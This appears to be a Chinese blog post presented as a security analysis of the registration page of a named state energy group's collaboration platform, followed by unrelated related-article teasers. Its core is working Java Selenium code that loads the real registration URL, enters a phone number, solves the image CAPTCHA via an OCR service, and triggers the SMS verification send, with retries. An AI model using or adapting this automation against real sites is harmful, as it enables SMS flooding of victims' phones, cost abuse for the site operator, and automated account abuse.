【国家能源集团生态协作平台-注册/登录安全分析报告】
前言
由于网站注册入口容易被黑客攻击,存在如下安全问题:
- 暴力破解密码,造成用户信息泄露
- 短信盗刷的安全问题,影响业务及导致用户投诉
- 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析
一、 国家能源集团生态协作平台PC 注册入口
简介:国家能源投资集团有限责任公司(简称国家能源集团)于2017年11月28日正式挂牌,是经党中央、国务院批准,由中国国电集团公司和神华集团有限责任公司联合重组成立的中央骨干能源企业,是国有资本投资公司改革、创建世界一流示范企业、国有企业公司治理示范的试点企业,2024年世界500强排名第84位。
集团拥有煤炭、电力、运输、化工等全产业链业务,在煤炭安全绿色智能、煤电清洁高效稳定、运输物流协同一体、现代煤化工高端多元低碳、新能源多元创新规模化发展等领域取得全球领先业绩。截至2023年底,集团员工总数31万人,资产总额2.1万亿元,煤炭产能6.65亿吨/年,发电总装机3.2亿千瓦,自营铁路2708公里,港口吞吐能力2.9亿吨/年,煤制油品产能531万吨/年。公司所属二级管理单位82家,拥有中国神华、龙源电力2家A+H股上市公司,国电电力、长源电力、龙源技术、英力特A股上市公司,1000余家生产单位,12家科研院所,20家科技企业,产业分布在全国31个省区市以及10多个国家和地区。
安全分析:
采用传统的图形验证码方式,具体为4个英文,ocr 识别率在 95% 以上。
测试方法:
采用模拟器+OCR识别
1 模拟器交互部分
private OcrClientDddd ddddOcr = new OcrClientDddd();private String INDEX_URL = "https://cooperation.ceic.com/register/index";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);Thread.sleep(1 * 1000);// 1 输入手机号WebElement phoneElement = ChromeDriverManager.waitElement(driver, By.name("mobilePhone"), 1);phoneElement.sendKeys(phone);Thread.sleep(1 * 1000);// 2获取图形验证码String imgCode = null;WebElement imgElement;byte[] imgByte = null;String src;for (int i = 0; i < 6; i++) {imgElement = driver.findElement(By.className("pic-code"));src = imgElement.getAttribute("src");imgByte = GetImage.callJsByUrl(driver, src);int len = (imgByte != null) ? imgByte.length : 0;imgCode = (len > 500) ? ddddOcr.getImgCode(imgByte) : null;if (imgCode == null || imgCode.length() != 5) {((JavascriptExecutor) driver).executeScript("arguments[0].click();", imgElement);Thread.sleep(1000);continue;}break;}if (imgCode == null || imgCode.length() != 5) {System.out.println("imgCode=" + imgCode);return retEntity;}// 3 输入识别出来的图形验证码WebElement inputCodeElement = driver.findElement(By.name("captcha"));inputCodeElement.sendKeys(imgCode);Thread.sleep(1000);// 4 点击获取验证码WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));((JavascriptExecutor) driver).executeScript("arguments[0].click();", sendElement);Thread.sleep(1500);String msg = sendElement.getText();if (msg == null) {return retEntity;}retEntity.setMsg("imgCode:" + imgCode + "->" + msg);if (DigitFormat.isNumeric(msg)) {retEntity.setRet(0);ddddOcr.saveFile(this.getClass().getSimpleName(), imgCode, imgByte);}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {driver.manage().deleteAllCookies();}}
2 获取图形验证码
public String getImgCode(byte[] bigImage) {try {if (ddddUrl == null) {System.out.println("getImgCode() ddddUrl=" + ddddUrl);return null;}int len = (bigImage != null) ? bigImage.length : -1;if (len < 0) {System.out.println("getImgCode() len=" + len);return null;}long time = (new Date()).getTime();HttpURLConnection con = null;String boundary = "----------" + String.valueOf(time);String boundarybytesString = "\r\n--" + boundary + "\r\n";OutputStream out = null;URL u = new URL(ddddUrl);con = (HttpURLConnection) u.openConnection();con.setRequestMethod("POST");con.setConnectTimeout(10 * 1000);con.setReadTimeout(10 * 1000);con.setDoOutput(true);con.setDoInput(true);con.setUseCaches(true);con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);out = con.getOutputStream();out.write(boundarybytesString.getBytes("UTF-8"));String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";paramString += "Content-Type: application/octet-stream\r\n\r\n";out.write(paramString.getBytes("UTF-8"));out.write(bigImage);String tailer = "\r\n--" + boundary + "--\r\n";out.write(tailer.getBytes("UTF-8"));out.flush();out.close();StringBuffer buffer = new StringBuffer();BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));String temp;while ((temp = br.readLine()) != null) {buffer.append(temp);}String ret = buffer.toString();if (ret.length() < 1) {System.out.println("getImgCode() ddddUrl=" + ddddUrl + ",len=" + len + "->ret=" + buffer.toString());}return buffer.toString();} catch (Throwable e) {logger.error("getImgCode() ddddUrl=" + ddddUrl + ",e=" + e.toString());return null;}}
3 测试返回结果:
4 测试报告 :
二丶结语
国家能源集团生态协作平台的建设是响应国家数字化转型战略和《国企改革三年行动方案(2020-2022年)》的重要举措。该平台是国家能源集团“一网三平台”战略中的关键组成部分,旨在通过数字化手段提升集团的产业链协同水平,推动能源行业的智能化和生态化发展, 作为国家级事业单位,技术实力雄厚, 采用的却还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。
很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。
所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#
戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?
>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》
相关文章:
【国家能源集团生态协作平台-注册/登录安全分析报告】
前言 由于网站注册入口容易被黑客攻击,存在如下安全问题: 暴力破解密码,造成用户信息泄露短信盗刷的安全问题,影响业务及导致用户投诉带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞…...
不确定与非单调推理的基本概念
前文我们讨论了建立在经典逻辑基础上的确定性推理,这是一种运用确定性知识进行的精确推理。同时,它又是一种单调性推理,即随着新知识的加人,推出的结论或证明了的命题将单调地增加。但是,人们通常是在信息不完善、不精确的情况下运用不确定性知识进行思维、求解问题的,推…...
系统架构设计师:计算机组成与体系结构(如CPU、存储系统、I/O系统)高效记忆要点、知识体系、考点详解、、练习题并提供答案与解析
计算机组成与体系结构高效记忆要点 从CPU、存储系统、I/O系统三大模块展开,结合高频考点与记忆技巧,有助于系统化掌握核心知识点。 一、CPU结构与工作原理 1. CPU的组成 核心组件: 运算器(ALU) :负责算术…...
FreeSWITCH中SIP网关(Gateway)操作
freeswitch是一款简单好用的VOIP开源软交换平台。 以下是一篇关于FreeSWITCH中SIP网关(Gateway)操作的技术指南,基于提供的官方文档内容整理: 一、网关生命周期管理 1. 创建新SIP Profile并启动 FreeSWITCH支持多SIP Profile&…...
构建自动翻译工作流:技术与实践
一、引言 制药行业客户迫切需要一种翻译解决方案,以解决公司内部多样化的翻译难题。他们需要的不仅是提升翻译效率和准确性的工具,更希望能够保持文档的原始格式。我们观察到客户的需求广泛,包括多语言办公文件、研究文档和药品报批文件等&a…...
在pycharm中搭建yolo11分类检测系统--PyQt5学习(二)
第二部分 测试本地pycharm通过程序连接远程服务器autodl 模型的推理需要借助远程服务器autodl,但是界面的运行是在pycharm中,我的设想是按钮调用一个py文件就好了。 1. 本地运行PyQt5界面。 2. 当需要载入权重时,通过SSH连接到AutodL服务…...
汽车行驶工况特征参数:从“速度曲线”到“驾驶DNA”的硬核解码
作为新能源汽车行业的从业者,你是否曾困惑于这些问题: 为什么同一款电动车,不同用户的实际续航差异高达30%?如何精准量化驾驶行为对电池寿命的影响?车企标定的“NEDC续航”与真实路况差距的根源是什么? 这…...
dify本地部署,docker-plugin_daemon-1启动不了,一直报错
解决办法,修改这两个配置,然后重启 进入源代码目录,docker文件夹下 docker compose down docker compose up -d https://github.com/langgenius/dify/issues/17677...
2025 年第十五届 MathorCup 数学应用挑战赛 A 题:汽车风阻预测
A 题:汽车风阻预测 在空气动力学领域,空气阻力对汽车以及航空航天工业中载具的 性能和效率有着至关重要的影响。以往的研究表明,预测这种阻力需 要借助先进的工业仿真软件进行大规模流体力学模拟仿真,而该模拟 过程不仅算法复杂…...
AI Agents系列之AI代理架构体系
1. 引言 智能体架构是定义智能体组件如何组织和交互的蓝图,使智能体能够感知其环境、推理并采取行动。本质上,它就像是智能体的数字大脑——集成了“眼睛”(传感器)、“大脑”(决策逻辑)和“手”(执行器),用于处理信息并采取行动。 选择正确的架构对于构建有效的智能…...
使用Java动态数据生成PDF报告:简化您的报告导出流程
在当今的数据驱动世界中,能够快速且有效地将数据转化为可视化的报告是一项宝贵的技能。无论是商业分析、项目管理还是学术研究,PDF报告都是分享和存档信息的理想格式。在这篇博客中,我们将探讨如何使用Java编程语言结合iText库来动态生成包含…...
Sqlite3交叉编译全过程
Sqlite3交叉编译全过程 一、概述二、下载三、解压四、配置五、编译六、安装七、验证文件类型八、移植8.1、头文件sqlite3.h8.2、动态链接库移植8.3、静态态链接库移植 九、验证使用9.1. 关键函数说明 十、触发器使用十一、sqlite表清空且恢复id值十二、全文总结 一、概述 SQLi…...
Qt QThread 两种线程管理方法
在 Qt 中,QThread 有两种常见的用法,分别对应不同的线程管理模型。这两种方法各有优缺点,适用于不同的场景: 1. 子类化 QThread(继承 QThread,重写 run() 方法) 这是传统的线程用法,类似于 Java 或 C++ 标准库中的线程模型。通过继承 QThread 并重写 run() 方法,将需…...
React 中如何获取 DOM:用 useRef 操作非受控组件
📌 场景说明 在写 React 的时候,通常我们是通过“受控组件”来管理表单元素,比如用 useState 控制 <input> 的值。 但有些时候,控制的需求只是临时性的,或者完全不需要重新渲染组件,这时候直接访问…...
GoogleCodeUtil.java
Google动态验证码实现 GoogleCodeUtil.java package zwf;import java.io.UnsupportedEncodingException; import java.net.URLEncoder; import java.nio.charset.StandardCharsets; import java.security.SecureRandom;/** https://mvnrepository.com/artifact/commons-codec/…...
Hutool之DateUtil:让Java日期处理变得更加简单
前言 在Java开发中,日期和时间的处理是一个常见问题。为了简化这个过程,许多开发者会使用第三方工具包,如Hutool。Hutool是一个Java工具包,提供了许多实用的功能,其中之一就是日期处理。日期时间工具类是Hutool的核心包…...
解锁古籍中的气候密码,探索GPT/BERT在历史灾害研究中的前沿应用;气候史 文本挖掘 防灾减灾;台风案例、干旱案例、暴雨案例
历史灾害文献分析方法论的研究,是连接过去与未来的关键桥梁。通过对古籍、方志、档案等非结构化文本的系统性挖掘与量化分析,不仅能够重建千年尺度的灾害事件序列(如台风、洪旱等),弥补仪器观测数据的时空局限性&#…...
DeepSeek-R3、GPT-4o 与 Claude-3.5-Sonnet 全面对比:性能、应用场景与技术解析
随着大模型技术的迅猛发展,国产模型正逐渐崭露头角,尤其是DeepSeek-R3的发布,更是在AI技术社区中引起广泛关注。而与此同时,国际领先的GPT-4o和Claude-3.5-Sonnet也在不断迭代升级,持续刷新业界对AI能力的认知。下文将…...
智能翻译播放器,让无字幕视频不再难懂
打工人们你们好!这里是摸鱼 特供版~ 今天给大家带来一款超牛的黑科技——Splayer,完全免费的智能翻译播放器,让你轻松看懂无字幕视频! 推荐指数:★★★★★ 软件简介 Splayer 是一款完全免费的智能翻译播放器&#…...
快手本地生活2024年GMV同增200%,“新线城市+AI”将成增长引擎
4月17日,“新线大市场,AI新机遇”快手本地生活2025聚力大会在沈阳召开。 会上,快手高级副总裁、本地生活事业部负责人笑古在聚力大会上表示,“新线城市AI”将成为快手本地生活的增长引擎。 据「TMT星球」了解,2024年…...
第七篇:系统分析师第三遍——1、2章
目录 一、目标二、计划三、完成情况四、意外之喜(最少2点)1.计划内的明确认知和思想的提升标志2.计划外的具体事情提升内容和标志 五、总结 一、目标 通过参加考试,训练学习能力,而非单纯以拿证为目的。 1.在复习过程中,训练快速阅读能力、掌…...
2025妈妈杯数学建模D题完整分析论文(共42页)(含模型建立、代码)
2025 年第十五届 MathorCup 数学建模D题完整分析论文 目录 摘要 一、问题分析 二、问题重述 三、模型假设 四、 模型建立与求解 4.1问题1 4.1.1问题1思路分析 4.1.2问题1模型建立 4.1.3问题1样例代码(MATLAB和Python) 4.1.4问题1结果…...
软考高级-系统架构设计师 论文范文参考(一)
文章目录 论SOA技术的应用论SOA在企业信息化中的应用论UP(统一过程方法)的应用论分布式数据库的设计与实现论改进Web服务器性能的有关技术论基于UML的需求分析论基于构件的软件开发论基于构件的软件开发(二) 论SOA技术的应用 摘要: 本人于…...
江湖路远,唯PUT可稳:Express 路由更新招式全解
前言 江湖传闻,后端开发如同修炼绝世武功:有人精通 POST 掌,横扫千军;有人修习 GET 指法,探查万象。而真正踏入高阶境界的高手,常常默默修炼一门冷门却威力极强的秘技,PUT 神功。 今日时机正好,你我相逢于码海江湖,不如来一场技术切磋,也许能悟出更新之道,功力再上…...
【k8s系列1】一主两从结构的环境准备
环境准备 虚拟机软件准备及安装,这里就不详细展开了,可以看文章:【一、虚拟机vmware安装】 linux环境准备及下载,下载镜像centOS7.9,以前也有写过这个步骤的文章,可以看:【二、安装centOS】 开始进入正题…...
通过特定协议拉起 electron 应用
在 Android 通过 sheme 协议可以拉起其他应用。 electron 应用也可以通过类似特定协议被拉起。 在同时有 web、客户端的应用里,可以通过这种方式在 web 拉起客户端。 支持拉起客户端 const PROTOCOL xxxif (process.defaultApp) {// 这里是开发环境,有…...
IDEA MyBatisCodeHelper Pro插件高版本解密
声明,该方法仅仅作为个人研究学习使用,请勿传播 版本说明 系统:macOS(Windows同理)IDE:IntelliJ IDEA 2024.4MyBatisCodeHelper Pro 3.4 环境准备 从插件市场下载MyBatisCodeHelper Pro 找到MyBatisCo…...
网站制作公司哪家好?如何选择靠谱的网站设计公司
在当今数字化时代,企业想要在互联网上立足,一个专业、美观且功能强大的网站是必不可少的。然而,面对众多的网站建设公司,如何选择一家真正适合自己需求的合作伙伴,成为了许多企业主和创业者面临的难题。毕竟࿰…...
Linux之基础命令
Linux作为开源操作系统的代表,以其高效、灵活和强大的命令行工具闻名。无论是系统管理、开发调试还是日常使用,掌握基础命令都是与Linux系统交互的必备技能。本文整理了20个最常用的Linux基础命令,帮助新手快速入门。 目录 目录与文件导航文…...
使用手机归属地查询API,使效率事半功倍
手机归属地查询API通过查询手机号码的归属地信息,为企业提供了一个高效、便捷的解决方案,帮助企业在竞争激烈的市场中脱颖而出。 代码示例 请求参数说明: 名称必填类型说明key是string个人中心查看phone是int手机号 返回参数说明: 名称类型说明phon…...
基于FPGA的AES加解密系统verilog实现,包含testbench和开发板硬件测试
目录 1.课题概述 2.系统测试效果 3.核心程序与模型 4.系统原理简介 4.1 字节替换(SubBytes) 4.2 行移位(ShiftRows) 4.3 列混合(MixColumns) 4.4 轮密钥加(AddRoundKey) 4.…...
【AI部署】腾讯云GPU -—SadTalker的AI数字人访问web服务—未来之窗超算中心
访问部署在Cloud Studio上的web服务 当你把该项目部署在本地时,访问该服务的请求地址为http://localhost:8080/hello;当你把该项目部署在Cloud Studio工作台启动时,要想访问到该服务,需要先在工作台右侧打开访问链接面板ÿ…...
Linux:命令行参数、环境变量
命令行参数 执行程序时,可以从命令行传值给 C 程序。这些值被称为命令行参数,它们对程序很重要,特别是当我们想从外部控制程序,而不是在代码内对这些值进行硬编码时,就显得尤为重要了。 在 C 语言中,命令…...
Linux CentOS 更改MySQL数据库目录位置
在 CentOS 系统上更改 MySQL(或 MariaDB)数据库目录位置(datadir)需要谨慎操作,以避免数据丢失或服务启动失败。以下是详细步骤: 1. 停止 MySQL/MariaDB 服务 bash 复制 sudo systemctl stop mysqld …...
Unity-微信截图功能简单复刻-03绘制空心矩形
思路-绘制空心矩形 拓展UGUI的Graphic类,实现拖拽接口。 开始拖拽时记录鼠标位置, 使用拖拽中的鼠标位置和记录的位置,计算矩形顶点,绘制矩形。 两个三角形合并为一个矩形,作为空心矩形的一条边,四个边合并为空心矩形…...
Flutter与FastAPI的OSS系统实现
作者:孙嘉成 目录 一、对象存储 二、FastAPI与对象存储 2.1 缤纷云S4服务API对接与鉴权实现 2.2 RESTful接口设计与异步路由优化 三、Flutter界面与数据交互开发 3.1 应用的创建 3.2页面的搭建 3.3 文件的上传 关键词:对象存储、FastAPI、Flutte…...
环境搭建与入门:Flutter SDK安装与配置
环境搭建与入门:Flutter SDK安装与配置 一、Flutter开发环境概述 1.1 Flutter开发环境组成 Flutter开发环境主要包含以下几个关键组件: Flutter SDK:Flutter的核心开发工具包Dart SDK:Flutter使用的编程语言环境IDE/编辑器&am…...
MATLAB 控制系统设计与仿真 - 35
MATLAB鲁棒控制器分析 所谓鲁棒性是指控制系统在一定(结构,大小)的参数扰动下,维持某些性能的特征。 根据对性能的不同定义,可分为稳定鲁棒性(Robust stability)和性能鲁棒性(Robust performance)。 以闭环系统的鲁棒性作为目标设计得到的…...
多模态记忆融合:基于LSTM的连续场景生成——突破AI视频生成长度限制
一、技术背景与核心挑战 2025年视频生成领域面临的关键难题是长时程连贯性——传统方法在生成超过5分钟视频时会出现场景跳变、物理规则不一致等问题。本研究提出时空记忆融合架构(ST-MFA),通过LSTM记忆门控与多模态对齐技术,在R…...
架构师面试(三十二):注册中心数据结构
问题 提到【注册中心】,我们对它的基本功能,肯定可以顺手拈来,比如:【服务注册】【服务发现】【健康检查】【变更通知】等。 透过这些基本功能,一个普适的注册中心的数据结构应该如何设计呢? 可以结合着…...
Oracle 19c新特性:OCP认证考试与职业跃迁的关键?
在数字化转型的浪潮中,Oracle 19c作为数据库领域的旗舰版本,不仅承载着技术革新的使命,更成为IT从业者职业进阶的“黄金跳板”。无论是企业级应用的高可用性需求,还是云原生架构的快速迭代,Oracle 19c的智能化与多模型…...
360蜘蛛IP完整版,360搜索引擎蜘蛛IP列表.pdf
360搜索的蜘蛛在访问网站时,都会带上带有360spider签名信息的UA,其形态为: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider 为满足站长朋友们的需求&a…...
C++_设计模式\_观察者模式(Observer Pattern)
👋 Hi, I’m liubo👀 I’m interested in harmony🌱 I’m currently learning harmony💞️ I’m looking to collaborate on …📫 How to reach me …📇 sssssdsdsdsdsdsdasd🎃 dsdsdsdsdsddfsg…...
23种设计模式全面解析
设计模式是解决软件设计中常见问题的经典方案。根据《设计模式:可复用面向对象软件的基础》(GoF),23种设计模式分为以下三类: 一、创建型模式(5种) 目标:解耦对象的创建过程&#x…...
学术AI工具推荐
一、基础信息对比 维度知网研学AI(研学智得AI)秘塔AIWOS AI开发公司同方知网(CNKI)上海秘塔网络科技Clarivate Analytics是否接入DeepSeek✅ 深度集成(全功能接入DeepSeek-R1推理服务)✅ 通过API接入DeepS…...
Agent的九种设计模式 介绍
Agent的九种设计模式 介绍 一、ReAct模式 原理:将推理(Reasoning)和行动(Acting)相结合,使Agent能够在推理的指导下采取行动,并根据行动的结果进一步推理,形成一个循环。Agent通过生成一系列的思维链(Thought Chains)来明确推理步骤,并根据推理结果执行相应的动作,…...
Python如何助力区块链网络安全?从攻击防范到智能合约审计
Python如何助力区块链网络安全?从攻击防范到智能合约审计 引言:区块链安全,真的安全吗? 区块链作为去中心化技术的代表,被誉为“不可篡改”的分布式账本。但事实真的如此吗?现实世界中,智能合约漏洞、私钥泄露、交易欺诈等安全问题层出不穷,让区块链网络安全成为一个关…...
磁流变式汽车减振器创新设计与关键技术研究
摘要 本文针对智能悬架系统的发展需求,深入探讨磁流变减振器(MR Damper)的核心设计原理与工程实现路径。通过建立磁场-流场耦合模型,优化磁路结构与控制策略,提出具有快速响应特性的新型磁流变减振器设计方案…...
Kafka 时间轮
Kafka存在大量的延迟操作,比如延迟删除、延迟拉取等。Kafka基于时间轮概念自定义了一个用于延迟操作的定时器。 JDK自带的Timer和DelayQueue缺陷 Timer和DelayQueue都可以插入多个定时任务,它们都使用一个优先级队列来管理任务,复杂度为O(l…...
加锁注意事项
结论: 1:加锁前不能有可能异常的代码结构,原因:没加锁,直接因为上边的异常走finall解锁,导致不必要的问题 2:加锁后,try之前。有异常代码,导致无法走到try进行解锁.后果&…...